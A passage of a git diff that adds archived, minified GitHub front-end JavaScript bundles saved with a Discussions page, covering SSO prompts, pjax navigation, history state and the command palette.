d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js new file mode 100644 index 0000000..4a88798 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js @@ -0,0 +1,37 @@ +"use strict";(()=>{var S=Object.defineProperty;var f=(y,v)=>S(y,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],{2846:(y,v,a)=>{a.d(v,{i:()=>s});var d=a(90420),_=a(23207),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.b{static build(o,i){const c=new s;return c.providerId=o,c.provider=i,c}connectedCallback(){this.setAttribute("data-targets","command-palette.clientDefinedProviderElements")}},"ClientDefinedProviderElement");l([d.Lj],s.prototype,"providerId",2),s=l([d.Ih],s)},64465:(y,v,a)=>{a.d(v,{Z:()=>T,o:()=>O});var d=a(90420),_=a(2846),m=a(39200),r=a(85678),l=a(80829),s=a(80425),o=a(3447),i=a(72017),c=Object.defineProperty,n=Object.getOwnPropertyDescriptor,t=f((e,h,g,P)=>{for(var I=P>1?void 0:P?n(h,g):h,D=e.length-1,b;D>=0;D--)(b=e[D])&&(I=(P?b(h,g,I):b(I))||I);return P&&I&&c(h,g,I),I},"__decorateClass");const p=f(()=>navigator.platform.match(/Mac/),"isMac"),u=p()?"metaKey":"ctrlKey",E=p()?"Meta":"Control",O=f(e=>e instanceof KeyboardEvent?e[u]:!1,"isPlatformMetaKey"),M=450;let T=f(class extends HTMLElement{constructor(){super(...arguments);this.everActivated=!1,this.activated=!1,this.error=!1,this.query=new l.A("",""),this.setupComplete=!1,this.sessionId="",this.returnTo="",this.userId="",this.activationHotkey="Mod+k,Mod+Alt+k",this.commandModeHotkey="Mod+Shift+k,Control+K"}setup(){this.modes=Array.from(this.querySelectorAll("command-palette-mode")),this.defaultMode=this.querySelector(".js-command-palette-default-mode"),this.commandPaletteInput=this.querySelector("command-palette-input"),this.groups=this.querySelectorAll("command-palette-item-group"),new ResizeObserver(g=>{for(const P of g)this.commandPaletteInput.scopeElement.smallDisplay=P.contentRect.width1?e[e.length-1]:""}get platformActivationHotkey(){return this.platformHotkey(this.activationHotkey)}get platformSecondaryActivationHotkey(){return this.platformHotkey(this.secondaryActivationHotkey)}get platformCommandModeHotkey(){return this.platformHotkey(this.commandModeHotkey)}platformHotkey(e){if(e==="none")return"";let h=e;if(p())h=h.replace(/Mod\+Alt/g,"Alt+Mod");else if(h.includes("Shift")){const g=h.charAt(h.length-1);h+=`,${h.replace(`Shift+${g}`,g.toUpperCase())}`}return h.replace(/Mod/g,E)}onInput(){!this.everActivated||(this.commandPaletteInput.typeahead="",this.setActiveModeElement(),this.setQuery(),this.toggleTips(),this.updateOverlay())}updateOverlay(){const e=this.getMode();this.commandPaletteInput.overlay=e;for(const h of this.groups)h.renderElement(e);if(e&&this.getTextWithoutMode()===""){const h=this.getModeElement().placeholder||"";this.commandPaletteInput.showModePlaceholder(h)}else this.commandPaletteInput.showModePlaceholder("")}itemsUpdated(e){if(!(e instanceof CustomEvent))return;const g=e.detail.items.filter(b=>b.group!==m.O.footerGroupId),P=g.filter(b=>!b.group||!m.O.helpGroupIds.includes(b.group)),I=g.length>P.length,D=P.length===0&&this.activated;P.length>0?this.toggleEmptyState(!1,I):D&&(this.toggleEmptyState(!0,I),this.toggleTips()),this.toggleErrorTips()}loadingStateChanged(e){e instanceof CustomEvent&&(this.commandPaletteInput.loading=e.detail.loading)}pageFetchError(e){e instanceof CustomEvent&&(this.error=!0,this.toggleErrorTips())}selectedItemChanged(e){if(!(e instanceof CustomEvent))return;const h=e.detail.item,g=e.detail.isDefaultSelection;this.updateTypeahead(h,g)}setActiveModeElement(){const e=this.commandPaletteInput.inputValue.substring(0,1),h=this.modes.filter(g=>g.active(this.query.scope,e)).find(g=>g.character()===e);this.activeMode=h||this.defaultMode,this.pageStack.currentMode=this.activeMode.character()}setQuery(){this.query=new l.A(this.getTextWithoutMode().trimStart(),this.getMode(),{scope:this.commandPaletteInput.scope,subjectId:this.pageStack.defaultScopeId,subjectType:this.pageStack.defaultScopeType,returnTo:this.returnTo}),this.pageStack.currentQueryText=this.getTextWithoutMode().trimStart()}getModeElement(){return this.activeMode}getMode(){var e;return(e=this.getModeElement())==null?void 0:e.character()}getTextWithoutMode(){if(!this.commandPaletteInput)return"";const e=this.commandPaletteInput.inputValue,h=this.getMode();return h&&e.startsWith(h)?e.substring(1):e}get selectedItem(){return this.pageStack.currentPage.selectedItem}onSelect(e){this.selectedItem?this.selectedItem.item.select(this):e.preventDefault()}autocomplete(e){(0,i.j)("autocompleted",e);const h=this.commandPaletteInput;e.typeahead!==void 0?h.inputValue=h.overlay+e.typeahead:h.inputValue=h.overlay+e.title}setScope(e){(0,i.j)("scoped");const h=e||this.commandPaletteInput.scope;for(const g of h.tokens){const P=g===h.tokens[h.tokens.length-1],I=new r.j({title:g.value,scopeId:g.id,scopeType:g.type});this.pageStack.push(I,!P)}this.commandPaletteInput.inputValue=""}onDescope(){this.toggleEmptyState(!1,!1),this.pageStack.pop(),this.toggleTips()}onInputClear(){this.pageStack.clear()}onKeydown(e){var h;e.key==="Enter"&&this.selectedItem?((h=this.selectedItem)==null||h.activate(this,e),e.preventDefault(),e.stopPropagation()):e.key==="ArrowDown"?(this.navigateToItem(1),e.preventDefault(),e.stopPropagation()):e.key==="ArrowUp"?(this.navigateToItem(-1),e.preventDefault(),e.stopPropagation()):this.isCopyEvent(e)&&this.selectedItem&&(this.selectedItem.copy(this),e.preventDefault(),e.stopPropagation())}close(e){if(e instanceof KeyboardEvent&&e.key!=="Enter")return;document.querySelector(".command-palette-details-dialog").toggle(!1),e.stopImmediatePropagation(),e.preventDefault()}navigateToItem(e){this.pageStack.navigate(e)}toggleTips(){const e=this.modeTips.filter(g=>g.available(this.query)),h=e[Math.floor(Math.random()*e.length)];for(const g of this.modeTips)g.hidden=h!==g;this.pageStack.hasVisibleTip=!!h,this.pageStack.currentPage.recomputeStyles()}toggleEmptyState(e,h){for(const g of this.emptyStateElements)g.toggle(this.query,e);if(!h&&e){const g=this.serverDefinedProviderElements.find(P=>P.type==="help");g&&this.pageStack.currentPage.fetch([g.provider],{isEmpty:!0})}}toggleErrorTips(){for(const e of this.errorStateTips)e.toggle(this.query,!1,this.error)}updateInputScope(e){e instanceof CustomEvent&&(this.commandPaletteInput.scope=this.pageStack.scope,this.setQuery())}updateTypeahead(e,h=!1){var g,P;this.getTextWithoutMode()===""&&(!e||h)?this.commandPaletteInput.typeahead="":e&&(this.commandPaletteInput.typeahead=(P=(g=e.typeahead)!=null?g:e.title)!=null?P:"")}isCopyEvent(e){return this.commandPaletteInput.textSelected()?!1:p()?e.metaKey&&e.key==="c":e.ctrlKey&&e.key==="c"}setQueryScope(){this.query.scope=this.commandPaletteInput.scope}get providerElements(){return[...this.serverDefinedProviderElements,...this.clientDefinedProviderElements]}get commandsProviderElements(){return this.providerElements.filter(e=>{var h;return(h=e.provider)==null?void 0:h.hasCommands})}clearProviderCaches(){var e;for(const h of this.providerElements)(e=h.provider)==null||e.clearCache()}clearCommandProviderCaches(){var e;for(const h of this.commandsProviderElements)(e=h.provider)==null||e.clearCache()}registerProvider(e,h){const g=this.querySelector(`client-defined-provider[data-provider-id="${e}"]`);g&&g.remove();const P=_.i.build(e,h);this.appendChild(P)}pushPage(e,h=!1){h&&this.pageStack.clear(!1),this.pageStack.push(e),this.resetInput()}get tipElements(){const e=this.querySelectorAll("command-palette-tip");return Array.from(e)}get modeTips(){return this.tipElements.filter(e=>!e.onEmpty&&!e.onError)}get emptyStateElements(){return this.tipElements.filter(e=>e.onEmpty)}get errorStateTips(){return this.tipElements.filter(e=>e.onError)}get placeholder(){return this.getAttribute("placeholder")||""}get defaultOpen(){return this.getAttribute("data-default-open")!==null}clearReturnToParams(){const e=new URLSearchParams(location.search);e.delete("command_palette_open"),e.delete("command_query"),e.delete("command_mode"),e.delete("clear_command_scope"),history.replaceState(null,"",`?${e}${location.hash}`)}displayFlash(e,h,g=5e3){const P=document.querySelector(".js-command-palette-toasts");if(!P)return;const I=P.querySelectorAll(".Toast");for(const C of I)C.hidden=!0;const D=P.querySelector(`.Toast.Toast--${e}`);if(!D)return;const b=D.querySelector(".Toast-content");b.textContent=h,D.hidden=!1,setTimeout(()=>{D.hidden=!0},g)}},"CommandPalette");T.tagName="command-palette",t([d.Lj],T.prototype,"returnTo",2),t([d.Lj],T.prototype,"userId",2),t([d.Lj],T.prototype,"activationHotkey",2),t([d.Lj],T.prototype,"commandModeHotkey",2),t([d.fA],T.prototype,"pageStack",2),t([d.GO],T.prototype,"clientDefinedProviderElements",2),t([d.GO],T.prototype,"serverDefinedProviderElements",2),t([(0,o.D)(250)],T.prototype,"clearCommands",1),T=t([d.Ih],T)},39200:(y,v,a)=>{a.d(v,{O:()=>s});var d=a(90420),_=a(38772),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends HTMLElement{constructor(){super(...arguments);this.groupLimits="",this.defaultPriority=0,this.skipTemplate=!1}connectedCallback(){this.classList.add("py-2","border-top"),this.setAttribute("hidden","true"),this.skipTemplate||this.renderElement(""),this.skipTemplate=!0}prepareForNewItems(){this.list.innerHTML="",this.setAttribute("hidden","true"),this.classList.contains("border-top")||this.classList.add("border-top")}hasItem(o){return this.list.querySelectorAll(`[data-item-id="${o.id}"]`).length>0}renderElement(o){const i=f(()=>this.hasTitle?_.dy` +

    +
    + `:_.dy` +
    + `,"groupTemplate");(0,_.sY)(i(),this)}push(o){this.removeAttribute("hidden"),this.topGroup&&this.atLimit?o.itemId!==this.firstItem.itemId&&this.replaceTopGroupItem(o):this.list.append(o)}replaceTopGroupItem(o){this.list.replaceChild(o,this.firstItem)}groupLimitForScope(){const o=this.closest("command-palette");if(o){const i=o.query.scope.type;return JSON.parse(this.groupLimits)[i]}}get limit(){const o=this.groupLimitForScope();return this.topGroup?1:this.isModeActive()?50:o||s.defaultGroupLimit}get atLimit(){return this.list.children.length>=this.limit}parsedGroupLimits(){return this.groupLimits?JSON.parse(this.groupLimits):{}}limitForScopeType(o){const c=this.parsedGroupLimits()[o];return this.topGroup?1:this.isModeActive()?s.activeModeLimit:c||c===0?c:s.defaultGroupLimit}atLimitForScopeType(o){return this.list.children.length>=this.limitForScopeType(o)}isModeActive(){const o=this.closest("command-palette");return o?o.getMode():!1}get topGroup(){return this.groupId===s.topGroupId}get hasTitle(){return this.groupId!==s.footerGroupId&&this.groupId!==s.defaultGroupId}get itemNodes(){return this.list.querySelectorAll("command-palette-item")}get firstItem(){return this.itemNodes[0]}get lastItem(){return this.itemNodes[this.itemNodes.length-1]}},"CommandPaletteItemGroupElement");s.defaultGroupLimit=5,s.activeModeLimit=50,s.topGroupId="top",s.defaultGroupId="default",s.footerGroupId="footer",s.helpGroupIds=["modes_help","filters_help"],s.commandGroupIds=["commands"],s.topGroupScoreThreshold=9,l([d.Lj],s.prototype,"groupTitle",2),l([d.Lj],s.prototype,"groupHint",2),l([d.Lj],s.prototype,"groupId",2),l([d.Lj],s.prototype,"groupLimits",2),l([d.Lj],s.prototype,"defaultPriority",2),l([d.Lj],s.prototype,"skipTemplate",2),l([d.fA],s.prototype,"list",2),l([d.fA],s.prototype,"header",2),s=l([d.Ih],s)},47779:(y,v,a)=>{a.d(v,{v:()=>n});var d=a(90420),_=a(38772),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((t,p,u,E)=>{for(var O=E>1?void 0:E?r(p,u):p,M=t.length-1,T;M>=0;M--)(T=t[M])&&(O=(E?T(p,u,O):T(O))||O);return E&&O&&m(p,u,O),O},"__decorateClass");const s=14,o=20,i=20,c=55;let n=f(class extends HTMLElement{constructor(){super(...arguments);this.smallDisplay=!1}connectedCallback(){this.classList.add("d-inline-flex")}get lastToken(){return this.tokens[this.tokens.length-1]}get text(){return this.tokens.map(t=>t.text).join("/")}get id(){return this.lastToken?this.lastToken.id:n.emptyScope.id}get type(){return this.lastToken?this.lastToken.type:n.emptyScope.type}get scope(){return this.hasScope()?{text:this.text,type:this.type,id:this.id,tokens:this.tokens}:n.emptyScope}set scope(t){this.renderTokens(t.tokens)}renderTokens(t){this.clearScope();let p=0,u=t.length;const E=this.smallDisplay?s:i,O=this.smallDisplay?o:c;for(let e=t.length-1;e>=0&&!(p+Math.min(t[e].text.length,E)+5>O);e--)p+=Math.min(t[e].text.length,E)+5,u=e;const M=f(e=>_.dy`${e.map(T)}`,"tokensTemplate"),T=f((e,h)=>{const g=e.text.length>E?`${e.text.substring(0,E-3)}...`:e.text;return _.dy` + + `},"tokenTemplate");(0,_.sY)(M(t),this),this.hidden=!this.hasScope(),u!==0&&(this.placeholder.hidden=!1)}removeToken(){this.lastToken&&(this.lastRemovedToken=this.lastToken,this.lastToken.remove(),this.renderTokens(this.tokens))}hasScope(){return this.tokens.length>0&&this.type&&this.id&&this.text}clearScope(){for(const t of this.tokens)t.remove();this.placeholder.hidden=!0}attributeChangedCallback(t,p,u){!this.isConnected||t==="data-small-display"&&p!==u&&this.renderTokens(this.tokens)}},"CommandPaletteScopeElement");n.emptyScope={type:"",text:"",id:"",tokens:[]},n.observedAttributes=["data-small-display"],l([d.Lj],n.prototype,"smallDisplay",2),l([d.fA],n.prototype,"placeholder",2),l([d.GO],n.prototype,"tokens",2),n=l([d.Ih],n)},76168:(y,v,a)=>{a.d(v,{z:()=>m});function d(r){const l=document.createElement("pre");return l.style.width="1px",l.style.height="1px",l.style.position="fixed",l.style.top="5px",l.textContent=r,l}f(d,"createNode");function _(r){if("clipboard"in navigator)return navigator.clipboard.writeText(r.textContent||"");const l=getSelection();if(l==null)return Promise.reject(new Error);l.removeAllRanges();const s=document.createRange();return s.selectNodeContents(r),l.addRange(s),document.execCommand("copy"),l.removeAllRanges(),Promise.resolve()}f(_,"copyNode");function m(r){if("clipboard"in navigator)return navigator.clipboard.writeText(r);const l=document.body;if(!l)return Promise.reject(new Error);const s=d(r);return l.appendChild(s),_(s),l.removeChild(s),Promise.resolve()}f(m,"copyText")},81072:(y,v,a)=>{a.d(v,{i:()=>s});var d=a(64465),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.g{activate(o,i){i instanceof PointerEvent?super.activate(o,i):i instanceof KeyboardEvent&&this.activateLinkBehavior(o,i,(0,d.o)(i))}get key(){return 